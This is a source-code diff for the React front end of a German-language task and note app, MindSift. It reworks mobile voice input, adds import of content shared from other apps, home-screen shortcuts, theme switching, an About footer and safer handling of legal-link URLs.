type ActiveTab = type ActiveTab =
@@ -128,6 +137,9 @@ export const App: React.FC = () => {
const [demoDeadline, setDemoDeadline] = useState<number | null>(null); const [demoDeadline, setDemoDeadline] = useState<number | null>(null);
const [dataEpoch, setDataEpoch] = useState(0); const [dataEpoch, setDataEpoch] = useState(0);
const [demoNotice, setDemoNotice] = useState<string | null>(null); const [demoNotice, setDemoNotice] = useState<string | null>(null);
// Just shared from another app: these Quick Dump entries can still be sent on as task / list item
const [sharedImportIds, setSharedImportIds] = useState<string[] | null>(null);
const closeSharedImport = useCallback(() => setSharedImportIds(null), []);
const lastDemoResetRef = useRef(0); const lastDemoResetRef = useRef(0);
const handleDemoResetRef = useRef<() => void>(() => {}); const handleDemoResetRef = useRef<() => void>(() => {});
// Link from the password reset mail (?resetToken=…); removed from the address bar right away // Link from the password reset mail (?resetToken=…); removed from the address bar right away
@@ -167,6 +179,7 @@ export const App: React.FC = () => {
// Profile Dropdown State // Profile Dropdown State
const [showProfileMenu, setShowProfileMenu] = useState(false); const [showProfileMenu, setShowProfileMenu] = useState(false);
const [showAbout, setShowAbout] = useState(false);
const dropdownRef = useRef<HTMLDivElement | null>(null); const dropdownRef = useRef<HTMLDivElement | null>(null);
// Mobile Navigation & Quick-Action State // Mobile Navigation & Quick-Action State
@@ -175,49 +188,31 @@ export const App: React.FC = () => {
const [mobileTriageContent, setMobileTriageContent] = useState(''); const [mobileTriageContent, setMobileTriageContent] = useState('');
const [mobileTriagePriority, setMobileTriagePriority] = useState<PriorityLevel>('normal'); const [mobileTriagePriority, setMobileTriagePriority] = useState<PriorityLevel>('normal');
const [mobileTriageDueDate, setMobileTriageDueDate] = useState(''); const [mobileTriageDueDate, setMobileTriageDueDate] = useState('');
const [mobileVoiceActive, setMobileVoiceActive] = useState(false);
const [isVoiceCaptured, setIsVoiceCaptured] = useState(false); const [isVoiceCaptured, setIsVoiceCaptured] = useState(false);
const mobileRecognitionRef = useRef<any>(null); const [mobileVoiceError, setMobileVoiceError] = useState<string | null>(null);
const mobileBaseVoiceRef = useRef(''); const mobileBaseVoiceRef = useRef('');
// Voice input of the mobile capture sheet: own Whisper server or the browser (lib/voice.ts)
const mobileVoice = useVoiceInput({
onText: (text) => {
if (!text) return;
const base = mobileBaseVoiceRef.current;
setMobileTriageContent(base ? `${base} ${text}` : text);
setIsVoiceCaptured(true);
},
onError: (message) => {
setMobileVoiceError(message);
window.setTimeout(() => setMobileVoiceError(null), 4000);
},
});
const mobileVoiceActive = mobileVoice.state === 'listening';
const toggleMobileVoice = () => { const toggleMobileVoice = () => {
const SpeechRecognition = if (mobileVoice.state === 'idle') {
(window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
if (!SpeechRecognition) {
alert('Spracheingabe wird von diesem Browser leider nicht unterstützt.');
return;
}
if (mobileVoiceActive && mobileRecognitionRef.current) {
mobileRecognitionRef.current.stop();
setMobileVoiceActive(false);
return;
}
try {
mobileBaseVoiceRef.current = mobileTriageContent.replace(/\s*\[…\]$/, '').trim(); mobileBaseVoiceRef.current = mobileTriageContent.replace(/\s*\[…\]$/, '').trim();
const recognition = new SpeechRecognition(); setMobileVoiceError(null);
recognition.lang = 'de-DE'; triggerHaptic(20);
recognition.continuous = false;
recognition.interimResults = true;
recognition.onstart = () => {
setMobileVoiceActive(true);
triggerHaptic(20);
};
recognition.onresult = (event: any) => {
let transcript = '';
for (let i = 0; i < event.results.length; i++) {
transcript += event.results[i][0].transcript;
}
const base = mobileBaseVoiceRef.current;
setMobileTriageContent(base ? `${base} ${transcript}` : transcript);
setIsVoiceCaptured(true);
};
recognition.onerror = () => setMobileVoiceActive(false);
recognition.onend = () => setMobileVoiceActive(false);
mobileRecognitionRef.current = recognition;
recognition.start();
} catch {
setMobileVoiceActive(false);
} }
mobileVoice.toggle();
}; };
const handleMobileCreateTriage = async (e: React.FormEvent) => { const handleMobileCreateTriage = async (e: React.FormEvent) => {
@@ -249,11 +244,39 @@ export const App: React.FC = () => {
setMobileTriagePriority('normal'); setMobileTriagePriority('normal');
setMobileTriageDueDate(''); setMobileTriageDueDate('');
setIsVoiceCaptured(false); setIsVoiceCaptured(false);
setMobileVoiceActive(false); if (mobileVoice.state !== 'idle') mobileVoice.cancel();
setShowMobileCapture(true); setShowMobileCapture(true);
}; };
const { isMenuOpen, setIsMenuOpen, closeMenu, setGroups, primaryAction, setPrimaryAction } = useMobileActions(); const { isMenuOpen, setIsMenuOpen, closeMenu, setGroups, primaryAction, setPrimaryAction } = useMobileActions();
const primaryActionRef = useRef(primaryAction);
primaryActionRef.current = primaryAction;
// App icon shortcuts (manifest "shortcuts", long-press on the icon): open the tab and its input right away.
// ?shortcut=quickdump|task|list; the old links (?mode=capture, ?tab=triage) still lead to the Quick Dump.
const [pendingShortcut, setPendingShortcut] = useState<ActiveTab | null>(() => {
const params = new URLSearchParams(window.location.search);
const target = params.get('shortcut') || (params.get('mode') === 'capture' || params.get('tab') === 'triage' ? 'quickdump' : '');
return ({ quickdump: 'triage', task: 'tasks', list: 'lists' } as Record<string, ActiveTab>)[target] || null;
});
useEffect(() => {
if (!pendingShortcut || !user) return;
if (activeTab !== pendingShortcut) {
setActiveTab(pendingShortcut);
return;
}
const target = pendingShortcut;
setPendingShortcut(null);
const url = new URL(window.location.href);
['shortcut', 'mode', 'tab'].forEach((k) => url.searchParams.delete(k));
window.history.replaceState({}, '', url.pathname + url.search + url.hash);
// The view registers its "+" action once it is mounted, so wait a moment (no cleanup: resetting
// pendingShortcut above re-runs this effect and must not cancel the timer)
window.setTimeout(() => {
if (target === 'triage') handleTriggerAddButton();
else if (window.innerWidth < 640 || target === 'lists') primaryActionRef.current?.();
}, 400);
}, [pendingShortcut, user?.id, activeTab]);
useEffect(() => { useEffect(() => {
closeMenu(); closeMenu();
@@ -453,6 +476,9 @@ export const App: React.FC = () => {
setActiveThemeState(isCustomThemeId(themeId) && css === undefined ? 'dark' : themeId); setActiveThemeState(isCustomThemeId(themeId) && css === undefined ? 'dark' : themeId);
}; };
// "Wie System": the theme follows the system's light/dark switch while the app is open
useEffect(() => watchSystemScheme(setActiveThemeState), []);
const handleChangeTheme = (themeId: ThemeId) => { const handleChangeTheme = (themeId: ThemeId) => {
triggerHaptic(10); triggerHaptic(10);
activateTheme(themeId, customThemes); activateTheme(themeId, customThemes);
@@ -567,6 +593,53 @@ export const App: React.FC = () => {
); );
}, [authStatus.demoMode, authStatus.demoResetInSeconds]); }, [authStatus.demoMode, authStatus.demoResetInSeconds]);
// Web Share Target: import shared thoughts from external apps
useEffect(() => {
if (!user) return;
const params = new URLSearchParams(window.location.search);
const hasPendingShare = params.get('shared') === 'pending';
const processShares = async () => {
try {
const shares = await consumePendingShares();
if (shares.length === 0) return;
let importedCount = 0;
const ids: string[] = [];
for (const share of shares) {
const content = formatSharedThought(share);
if (content) {
const created = await api.captureThought(content, 'normal', 'manual', '', { target: 'inbox' });
importedCount++;
if (created?.id && !created.id.startsWith('th_offline_')) ids.push(created.id);
}
}
if (importedCount > 0) {
triggerHaptic(15);
if (ids.length === importedCount) {
setSharedImportIds(ids);
} else {
// Offline: kept for later, nothing to convert yet
setDemoNotice('Im Quick Dump abgelegt');
setTimeout(() => setDemoNotice(null), 4000);
}
refreshAll();
}
} catch (err) {
console.error('Fehler beim Import geteilter Daten:', err);
} finally {
if (hasPendingShare) {
const url = new URL(window.location.href);
url.searchParams.delete('shared');
window.history.replaceState({}, '', url.pathname + (url.search ? url.search : '') + url.hash);
}
}
};
processShares();
}, [user, refreshAll]);
// The demo database was reset: drop cached answers of the old data, remount the views (they load // The demo database was reset: drop cached answers of the old data, remount the views (they load
// fresh data), refresh counters and the countdown. Sessions stay valid (fixed demo account IDs). // fresh data), refresh counters and the countdown. Sessions stay valid (fixed demo account IDs).
const handleDemoReset = useCallback(() => { const handleDemoReset = useCallback(() => {
@@ -594,8 +667,20 @@ export const App: React.FC = () => {
}, 5000); }, 5000);
}, []); }, []);
// Refresh stats on task/doc/list real-time events (counters in the navigation) // Refresh stats on task/doc/list real-time events (counters in the navigation). Task events also
// reload the triage deck: a note sorted on another device must leave this deck too.
useEffect(() => { useEffect(() => {
let deckTimer: number | undefined;
const reloadDeck = () => {
window.clearTimeout(deckTimer);
deckTimer = window.setTimeout(() => {
api.getTriageDeck().then((res) => setDeck(Array.isArray(res) ? res : [])).catch(() => {});
}, 300);
};
// Events missed while the tab slept (desktop in the background, connection dropped)
const onVisible = () => {
if (document.visibilityState === 'visible' && getToken()) refreshAll();
};
const handleWs = (e: any) => { const handleWs = (e: any) => {
const msg = e.detail; const msg = e.detail;
if (!msg) return; if (!msg) return;
@@ -610,13 +695,17 @@ export const App: React.FC = () => {
api.getMe().then((res) => { api.getMe().then((res) => {
setStats(res.stats); setStats(res.stats);
}).catch(() => {}); }).catch(() => {});
if (msg.event.startsWith('TASK_')) reloadDeck();
} }
}; };
window.addEventListener('mindsift:ws', handleWs); window.addEventListener('mindsift:ws', handleWs);
document.addEventListener('visibilitychange', onVisible);
return () => { return () => {
window.clearTimeout(deckTimer);
window.removeEventListener('mindsift:ws', handleWs); window.removeEventListener('mindsift:ws', handleWs);
document.removeEventListener('visibilitychange', onVisible);
}; };
}, []); }, [refreshAll]);
// Close profile dropdown on outside click // Close profile dropdown on outside click
useEffect(() => { useEffect(() => {
@@ -765,7 +854,11 @@ export const App: React.FC = () => {
}; };
return ( return (
<div className="min-h-screen bg-canvas text-main flex flex-col font-sans selection:bg-accent/30"> <div
className={`bg-canvas text-main flex flex-col font-sans selection:bg-accent/30 ${
activeTab === 'workspace' ? 'h-[100dvh] overflow-hidden' : 'min-h-screen'
}`}
>
{/* Top Header Bar: Floating on mobile, solid panel on desktop */} {/* Top Header Bar: Floating on mobile, solid panel on desktop */}
<header className="sticky top-0 z-30 bg-canvas/85 backdrop-blur-md sm:bg-panel sm:border-b sm:border-border sm:shadow-sm"> <header className="sticky top-0 z-30 bg-canvas/85 backdrop-blur-md sm:bg-panel sm:border-b sm:border-border sm:shadow-sm">
{/* Mobile Header: Floating Bar with Logo Action Dropdown Left & Profile Avatar Right */} {/* Mobile Header: Floating Bar with Logo Action Dropdown Left & Profile Avatar Right */}
@@ -831,11 +924,14 @@ export const App: React.FC = () => {
triggerHaptic(10); triggerHaptic(10);
setShowCommandPalette(true); setShowCommandPalette(true);
}} }}
className="w-11 h-11 rounded-full flex items-center justify-center text-muted hover:text-main bg-panel border border-border transition-transform active:scale-95 cursor-pointer" className="w-11 h-11 rounded-full flex items-center justify-center text-muted hover:text-main transition-transform active:scale-95 cursor-pointer"
title="Globale Suche" title="Globale Suche"
aria-label="Globale Suche öffnen" aria-label="Globale Suche öffnen"
> >
<Search className="w-4 h-4" /> {/* Same visible size as the avatar next to it; the 44px button stays the touch target */}
<span className="w-9 h-9 rounded-full flex items-center justify-center bg-panel border border-border">
<Search className="w-4 h-4" />
</span>
</button> </button>
<button <button
@@ -851,7 +947,7 @@ export const App: React.FC = () => {
}`} }`}
title="Profil & Einstellungen" title="Profil & Einstellungen"
> >
<UserAvatar user={user} size="sm" className="shadow-sm" /> <UserAvatar user={user} size="md" className="shadow-sm" />
</button> </button>
</div> </div>
</div> </div>
@@ -924,7 +1020,7 @@ export const App: React.FC = () => {
</button> </button>
{showProfileMenu && ( {showProfileMenu && (
<div className="absolute right-0 top-full mt-1.5 w-64 panel-surface shadow-panel z-50 divide-y divide-border text-xs"> <div className="absolute right-0 top-full mt-1.5 w-64 panel-surface shadow-panel overflow-hidden z-50 divide-y divide-border text-xs origin-top-right animate-in fade-in zoom-in-95 slide-in-from-top-1 duration-150">
{/* User Info Header */} {/* User Info Header */}
<div className="p-3 bg-canvas flex items-center gap-2.5"> <div className="p-3 bg-canvas flex items-center gap-2.5">
<UserAvatar user={user} size="md" className="border border-border/70" /> <UserAvatar user={user} size="md" className="border border-border/70" />
@@ -943,26 +1039,7 @@ export const App: React.FC = () => {
<Palette className="w-3 h-3 text-accent" /> <Palette className="w-3 h-3 text-accent" />
<span>Design-Theme</span> <span>Design-Theme</span>
</span> </span>
<div className="grid grid-cols-2 gap-1"> <ThemeQuickPicker activeTheme={activeTheme} themes={allThemes} onChange={handleChangeTheme} />
{allThemes.map((t) => (
<button
key={t.id}
type="button"
onClick={() => handleChangeTheme(t.id)}
className={`h-7 px-2 text-[11px] font-medium border rounded-btn flex items-center gap-1.5 transition-colors ${
activeTheme === t.id
? 'bg-panel-elevated border-accent text-main font-semibold'
: 'bg-canvas border-border text-muted hover:text-main'
}`}
>
<span
className="w-2.5 h-2.5 border border-strong flex-shrink-0"
style={{ backgroundColor: t.previewBg }}
/>
<span className="truncate">{t.name.replace('MindSift ', '').split(' ')[0]}</span>
</button>
))}
</div>
</div> </div>
{/* Menu Items */} {/* Menu Items */}
@@ -1118,6 +1195,19 @@ export const App: React.FC = () => {
<MobileHeaderMenu activeTabLabel={activeTabLabelMap[activeTab]} /> <MobileHeaderMenu activeTabLabel={activeTabLabelMap[activeTab]} />
<OfflineBanner /> <OfflineBanner />
{sharedImportIds && (
<SharedImportToast
thoughtIds={sharedImportIds}
lists={lists}
onClose={closeSharedImport}
onConverted={(message) => {
setSharedImportIds(null);
setDemoNotice(message);
setTimeout(() => setDemoNotice(null), 3000);
refreshAll();
}}
/>
)}
{demoNotice && ( {demoNotice && (
<div <div
role="status" role="status"
@@ -1128,9 +1218,14 @@ export const App: React.FC = () => {
)} )}
{/* Main Container */} {/* Main Container */}
<main className="flex-1 max-w-6xl w-full mx-auto px-3 sm:px-4 pt-3 pb-24 sm:pb-6"> {/* The workspace fills the window exactly and scrolls only inside the note, never the page */}
<main
className={`flex-1 max-w-6xl w-full mx-auto px-3 sm:px-4 pt-3 pb-24 ${
activeTab === 'workspace' ? 'min-h-0 flex flex-col sm:pb-0' : 'sm:pb-6'
}`}
>
<ViewErrorBoundary onReset={() => setActiveTab('triage')}> <ViewErrorBoundary onReset={() => setActiveTab('triage')}>
<section key={dataEpoch}> <section key={dataEpoch} className={activeTab === 'workspace' ? 'flex-1 min-h-0 flex flex-col' : undefined}>
{activeTab === 'triage' && ( {activeTab === 'triage' && (
<TriageDeck <TriageDeck
deck={deck} deck={deck}
@@ -1208,6 +1303,11 @@ export const App: React.FC = () => {
</ViewErrorBoundary> </ViewErrorBoundary>
</main> </main>
<AppFooter
legal={authStatus.legal}
onOpenAbout={() => setShowAbout(true)}
/>
{/* MOBILE BOTTOM NAVIGATION BAR (5 equal columns -> + FAB is dead-center) */} {/* MOBILE BOTTOM NAVIGATION BAR (5 equal columns -> + FAB is dead-center) */}
<nav className="sm:hidden fixed bottom-0 left-0 right-0 z-40 bg-panel/95 backdrop-blur-md border-t border-border px-2 pt-1.5 pb-[calc(0.5rem+env(safe-area-inset-bottom))] grid grid-cols-5 items-center shadow-panel"> <nav className="sm:hidden fixed bottom-0 left-0 right-0 z-40 bg-panel/95 backdrop-blur-md border-t border-border px-2 pt-1.5 pb-[calc(0.5rem+env(safe-area-inset-bottom))] grid grid-cols-5 items-center shadow-panel">
{/* Col 1: Triage */} {/* Col 1: Triage */}
@@ -1341,21 +1441,49 @@ export const App: React.FC = () => {
autoFocus autoFocus
value={mobileTriageContent} value={mobileTriageContent}
onChange={(e) => setMobileTriageContent(e.target.value)} onChange={(e) => setMobileTriageContent(e.target.value)}
placeholder="Was geht dir durch den Kopf?…" placeholder={
className="w-full input-field px-3 py-2 pr-10 text-sm" mobileVoiceError
? mobileVoiceError
: mobileVoiceActive
? 'Ich höre zu…'
: mobileVoice.state === 'transcribing'
? 'Wird erkannt…'
: 'Was geht dir durch den Kopf?…'
}
className={
mobileVoiceActive && mobileVoice.mode === 'server'
? 'w-full input-field px-3 py-2 pr-24 text-sm'
: 'w-full input-field px-3 py-2 pr-10 text-sm'
}
/> />
<button {mobileVoice.available && (
type="button" <div className="absolute right-1.5 top-1/2 -translate-y-1/2 flex items-center gap-2">
onClick={toggleMobileVoice} {mobileVoiceActive && mobileVoice.mode === 'server' && (
className={`absolute right-1.5 top-1/2 -translate-y-1/2 w-7 h-7 rounded-full flex items-center justify-center transition-colors cursor-pointer ${ <VoiceWave getLevel={mobileVoice.level} bars={7} className="h-4 text-accent" />
mobileVoiceActive )}
? 'bg-accent text-on-accent animate-pulse' <button
: 'text-muted hover:text-main hover:bg-panel-elevated' type="button"
}`} onClick={toggleMobileVoice}
title="Spracheingabe" disabled={mobileVoice.state === 'transcribing'}
> className={`w-9 h-9 rounded-full flex items-center justify-center transition-colors cursor-pointer ${
{mobileVoiceActive ? <MicOff className="w-3.5 h-3.5" /> : <Mic className="w-3.5 h-3.5" />} mobileVoiceActive
</button> ? mobileVoice.mode === 'server'
? 'bg-status-err text-on-accent'
: 'bg-accent text-on-accent animate-pulse'
: 'text-muted hover:text-main hover:bg-panel-elevated'
}`}
title={mobileVoiceActive ? 'Aufnahme beenden' : 'Spracheingabe'}
>
{mobileVoice.state === 'transcribing' ? (
<Loader2 className="w-4 h-4 animate-spin" />
) : mobileVoiceActive ? (
<MicOff className="w-4 h-4" />
) : (
<Mic className="w-4 h-4" />
)}
</button>
</div>
)}
</div> </div>
</div> </div>
@@ -1486,26 +1614,7 @@ export const App: React.FC = () => {
<Palette className="w-3.5 h-3.5 text-accent" /> <Palette className="w-3.5 h-3.5 text-accent" />
<span>Design-Theme</span> <span>Design-Theme</span>
</span> </span>
<div className="grid grid-cols-2 gap-2"> <ThemeQuickPicker activeTheme={activeTheme} themes={allThemes} onChange={handleChangeTheme} touch />
{allThemes.map((t) => (
<button
key={t.id}
type="button"
onClick={() => handleChangeTheme(t.id)}
className={`h-9 px-2.5 text-xs font-medium border rounded-btn flex items-center gap-2 transition-colors cursor-pointer ${
activeTheme === t.id
? 'bg-panel-elevated border-accent text-main font-semibold'
: 'bg-canvas border-border text-muted hover:text-main'
}`}
>
<span
className="w-3 h-3 border border-strong flex-shrink-0 rounded-full"
style={{ backgroundColor: t.previewBg }}
/>
<span className="truncate">{t.name.replace('MindSift ', '')}</span>
</button>
))}
</div>
</div> </div>
{/* Menu Items */} {/* Menu Items */}
@@ -1572,6 +1681,19 @@ export const App: React.FC = () => {
<span>Hilfe & Anleitung</span> <span>Hilfe & Anleitung</span>
</button> </button>
<button
type="button"
onClick={() => {
triggerHaptic(10);
setShowMobileProfile(false);
setShowAbout(true);
}}
className="w-full px-3 py-2.5 rounded-btn text-left flex items-center gap-3 hover:bg-panel-elevated transition-colors text-xs cursor-pointer text-main"
>
<Brain className="w-4 h-4 text-accent" />
<span>Über MindSift</span>
</button>
{isServerAdmin && ( {isServerAdmin && (
<button <button
type="button" type="button"
@@ -1604,6 +1726,11 @@ export const App: React.FC = () => {
<span>Abmelden</span> <span>Abmelden</span>
</button> </button>
</div> </div>
{/* Version & About Hint on Mobile */}
<div className="pt-2 text-center text-[10px] text-faint font-mono">
MindSift {APP_VERSION}
</div>
</div> </div>
</div> </div>
)} )}
@@ -1661,6 +1788,18 @@ export const App: React.FC = () => {
</div> </div>
) : ( ) : (
<div className="space-y-3 pt-1"> <div className="space-y-3 pt-1">
{/* Chrome may report "installable" only after the guide opened (e.g. shortly after the
old app was removed): then the real install is one tap away again */}
{deferredPwaPrompt && (
<button
type="button"
onClick={handleInstallWebApp}
className="btn-primary w-full h-12 text-sm font-semibold rounded-xl flex items-center justify-center gap-2 shadow-md active:scale-98 transition-transform cursor-pointer"
>
<Download className="w-4 h-4" />
<span>Jetzt installieren</span>
</button>
)}
<div className="p-3.5 rounded-xl bg-canvas border border-border space-y-2.5 text-xs text-main"> <div className="p-3.5 rounded-xl bg-canvas border border-border space-y-2.5 text-xs text-main">
<p className="font-semibold text-accent flex items-center gap-1.5"> <p className="font-semibold text-accent flex items-center gap-1.5">
<Smartphone className="w-4 h-4" /> <Smartphone className="w-4 h-4" />
@@ -1703,6 +1842,8 @@ export const App: React.FC = () => {
onOpenTask={handleOpenTask} onOpenTask={handleOpenTask}
onOpenList={handleOpenList} onOpenList={handleOpenList}
/> />
{showAbout && <AboutModal onClose={() => setShowAbout(false)} />}
</div> </div>
); );
}; };
+29
View File
@@ -0,0 +1,29 @@
import React from 'react';
import { AuthStatus } from '../lib/types';
import { APP_VERSION } from '../version';
import { LegalLinks } from './LegalLinks';
interface AppFooterProps {
legal?: AuthStatus['legal'];
onOpenAbout: () => void;
}
export const AppFooter: React.FC<AppFooterProps> = ({ legal, onOpenAbout }) => {
// One small, even line: same font, size and weight for every part (mixed mono/bold looked crooked)
const item = 'leading-none hover:text-muted transition-colors cursor-pointer';
return (
<footer className="hidden sm:flex shrink-0 w-full max-w-6xl mx-auto px-4 py-1.5 items-center justify-between text-[10px] leading-none text-faint select-none">
<div className="flex items-center gap-1.5">
<button type="button" onClick={onOpenAbout} className={item} title="Über MindSift & Versionsdetails">
MindSift {APP_VERSION}
</button>
<span aria-hidden>·</span>
<button type="button" onClick={onOpenAbout} className={item}>
Über MindSift
</button>
</div>
<LegalLinks legal={legal} className="!text-[10px] !text-faint !gap-x-3 leading-none" />
</footer>
);
};
+7 -2
View File
@@ -36,7 +36,12 @@ export const FormSheet: React.FC<FormSheetProps> = ({
}, [onClose]); }, [onClose]);
const desktopAnchor = anchor const desktopAnchor = anchor
? ({ '--sheet-left': `${anchor.x}px`, '--sheet-top': `${anchor.y}px` } as React.CSSProperties) ? ({
'--sheet-left': `${anchor.x}px`,
'--sheet-top': `${anchor.y}px`,
'--sheet-x': `clamp(12px, calc(${anchor.x}px - 8.25rem), calc(100vw - 16.5rem - 12px))`,
'--sheet-y': `calc(${anchor.y}px + 8px)`,
} as React.CSSProperties)
: undefined; : undefined;
return ( return (
@@ -54,7 +59,7 @@ export const FormSheet: React.FC<FormSheetProps> = ({
className={`fixed inset-x-0 bottom-[var(--kb-inset)] max-h-[var(--vv-max)] panel-surface rounded-t-2xl border-t border-border shadow-panel p-4 space-y-3 overflow-y-auto className={`fixed inset-x-0 bottom-[var(--kb-inset)] max-h-[var(--vv-max)] panel-surface rounded-t-2xl border-t border-border shadow-panel p-4 space-y-3 overflow-y-auto
sm:inset-x-auto sm:bottom-auto sm:max-h-[85vh] sm:w-full sm:rounded-card sm:border ${ sm:inset-x-auto sm:bottom-auto sm:max-h-[85vh] sm:w-full sm:rounded-card sm:border ${
anchor anchor
? 'sm:max-w-[16.5rem] sm:left-[var(--sheet-left)] sm:top-[var(--sheet-top)]' ? 'sm:max-w-[16.5rem] sm:left-[var(--sheet-x)] sm:top-[var(--sheet-y)]'
: 'sm:max-w-sm sm:left-1/2 sm:top-1/2 sm:-translate-x-1/2 sm:-translate-y-1/2' : 'sm:max-w-sm sm:left-1/2 sm:top-1/2 sm:-translate-x-1/2 sm:-translate-y-1/2'
}`} }`}
> >
+16 -3
View File
@@ -3,6 +3,7 @@ import { AuthStatus } from '../lib/types';
import { api } from '../lib/api'; import { api } from '../lib/api';
import { MarkdownViewer } from '../lib/markdown'; import { MarkdownViewer } from '../lib/markdown';
import { ReadingModal } from './ReadingModal'; import { ReadingModal } from './ReadingModal';
import { safeHref } from '../lib/safeUrl';
type LegalType = 'imprint' | 'privacy'; type LegalType = 'imprint' | 'privacy';
const TITLES: Record<LegalType, string> = { imprint: 'Impressum', privacy: 'Datenschutz' }; const TITLES: Record<LegalType, string> = { imprint: 'Impressum', privacy: 'Datenschutz' };
@@ -27,7 +28,9 @@ export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', c
})) }))
.filter((e) => e.url || e.hasContent); .filter((e) => e.url || e.hasContent);
if (entries.length === 0 && !children) return null; const customHref = legal?.customLinkUrl && safeHref(legal.customLinkUrl);
if (entries.length === 0 && !children && !customHref) return null;
const openText = async (type: LegalType) => { const openText = async (type: LegalType) => {
setError(null); setError(null);
@@ -41,8 +44,8 @@ export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', c
return ( return (
<div className={`flex flex-wrap items-center justify-center gap-x-4 gap-y-1 text-[11px] text-muted ${className}`}> <div className={`flex flex-wrap items-center justify-center gap-x-4 gap-y-1 text-[11px] text-muted ${className}`}>
{entries.map((e) => {entries.map((e) =>
e.url ? ( e.url && safeHref(e.url) ? (
<a key={e.type} href={e.url} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline"> <a key={e.type} href={safeHref(e.url) as string} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
{TITLES[e.type]} {TITLES[e.type]}
</a> </a>
) : ( ) : (
@@ -51,6 +54,16 @@ export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', c
</button> </button>
) )
)} )}
{customHref && (
<a
href={customHref as string}
target="_blank"
rel="noopener noreferrer"
className="hover:text-main underline-offset-2 hover:underline"
>
{legal?.customLinkLabel || legal?.customLinkUrl}
</a>
)}
{children} {children}
{error && <span className="text-status-err">{error}</span>} {error && <span className="text-status-err">{error}</span>}
{open && ( {open && (
@@ -0,0 +1,116 @@
import React, { useEffect, useState } from 'react';
import { ArrowRight, CheckSquare, Inbox, ShoppingCart, X } from 'lucide-react';
import { api, triggerHaptic } from '../lib/api';
import type { SharedList } from '../lib/types';
// After sharing from another app: the items are already in the Quick Dump (nothing to tap), and for a
// few seconds they can be sent on as a task or onto a list instead – one tap, the flow stays as fast.
const AUTO_HIDE_MS = 8000;
interface SharedImportToastProps {
thoughtIds: string[]; // created on the server (offline captures have no id yet and get no buttons)
lists: SharedList[];
onClose: () => void;
onConverted: (message: string) => void;
}
export const SharedImportToast: React.FC<SharedImportToastProps> = ({ thoughtIds, lists, onClose, onConverted }) => {
const [choosingList, setChoosingList] = useState(false);
const [busy, setBusy] = useState(false);
const [failed, setFailed] = useState(false);
const writableLists = lists.filter((l) => l.isOwner || l.role !== 'viewer');
const count = thoughtIds.length;
// Disappears on its own unless a list is being picked or a conversion runs
useEffect(() => {
if (choosingList || busy) return;
const timer = window.setTimeout(onClose, AUTO_HIDE_MS);
return () => window.clearTimeout(timer);
}, [choosingList, busy, onClose]);
const convert = async (convertTo: 'task' | 'list_item', list?: SharedList) => {
triggerHaptic(15);
setBusy(true);
setFailed(false);
try {
for (const id of thoughtIds) {
await api.triageAction(id, 'keep', { convertTo, targetListId: list?.id });
}
const what = count === 1 ? 'Eintrag' : `${count} Einträge`;
onConverted(convertTo === 'task' ? `${count === 1 ? 'Als Aufgabe' : `${count} Aufgaben`} angelegt` : `${what} auf „${list?.title}“`);
} catch {
setFailed(true);
setBusy(false);
}
};
const toList = () => {
if (writableLists.length === 1) convert('list_item', writableLists[0]);
else setChoosingList(true);
};
const big =
'min-h-[52px] px-3 py-2 rounded-xl text-sm font-semibold flex items-center justify-center gap-2 touch-manipulation cursor-pointer active:scale-98 disabled:opacity-50';
return (
<>
{/* Tapping anywhere else closes it (transparent, the page stays visible) */}
<div className="fixed inset-0 z-[59]" onClick={onClose} aria-hidden />
<div
role="status"
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] sm:bottom-4 z-[60] w-[calc(100vw-1.5rem)] max-w-md panel-surface shadow-panel overflow-hidden p-4 space-y-3 animate-in fade-in slide-in-from-bottom-2 duration-200"
>
<button
type="button"
onClick={onClose}
aria-label="Schließen"
className="absolute top-2 right-2 h-8 w-8 flex items-center justify-center rounded-btn text-faint hover:text-main"
>
<X className="w-4 h-4" />
</button>
<div className="pr-8">
<p className="flex items-center gap-2 text-base font-semibold text-main">
<Inbox className="w-5 h-5 text-accent shrink-0" />
{count === 1 ? 'Im Quick Dump abgelegt' : `${count} Einträge im Quick Dump abgelegt`}
</p>
<p className="text-xs text-muted mt-1">
{choosingList ? 'Auf welche Liste?' : 'Oder gleich woanders hin:'}
</p>
</div>
{failed && <p className="text-xs text-status-err">Umwandeln hat nicht geklappt – der Eintrag bleibt im Quick Dump.</p>}
{!choosingList ? (
<div className={`grid gap-2 ${writableLists.length > 0 ? 'grid-cols-2' : 'grid-cols-1'}`}>
{writableLists.length > 0 && (
<button type="button" disabled={busy} onClick={toList} className={`${big} bg-canvas border border-border text-main`}>
<ShoppingCart className="w-4 h-4 text-accent" />
<span>Liste</span>
</button>
)}
<button type="button" disabled={busy} onClick={() => convert('task')} className={`${big} bg-accent text-on-accent`}>
<CheckSquare className="w-4 h-4" />
<span>Aufgabe</span>
<ArrowRight className="w-4 h-4" />
</button>
</div>
) : (
<div className="grid grid-cols-2 gap-2">
{writableLists.map((l) => (
<button
key={l.id}
type="button"
disabled={busy}
onClick={() => convert('list_item', l)}
className={`${big} bg-canvas border border-border text-main`}
>
<span>{l.icon}</span>
<span className="truncate">{l.title}</span>
</button>
))}
</div>
)}
</div>
</>
);
};
@@ -0,0 +1,118 @@
import React, { useState } from 'react';
import { Monitor, Moon, Sun } from 'lucide-react';
import {
AVAILABLE_THEMES,
getFollowSystem,
resolveTheme,
setFollowSystem,
THEME_FAMILIES,
ThemeId,
ThemeOption,
} from '../lib/theme';
interface ThemeQuickPickerProps {
activeTheme: ThemeId;
/** All themes including the user's own (shown as small chips) */
themes: ThemeOption[];
onChange: (id: ThemeId) => void;
/** Bigger touch targets in the phone sheet */
touch?: boolean;
}
// Compact switcher for the user menu: one dot per colour family plus light/dark; own themes below
export const ThemeQuickPicker: React.FC<ThemeQuickPickerProps> = ({ activeTheme, themes, onChange, touch = false }) => {
const active = AVAILABLE_THEMES.find((t) => t.id === activeTheme);
const mode = active?.mode ?? 'dark';
const customThemes = themes.filter((t) => t.isCustom);
const dot = touch ? 'w-9 h-9' : 'w-7 h-7';
// Kept in state: choosing "System" may not change the theme, but the selection must still show
const [followSystem, setFollow] = useState(getFollowSystem);
const pick = (id: ThemeId) => onChange(resolveTheme(id));
return (
<div className="space-y-2">
<div className="flex items-center justify-between gap-1">
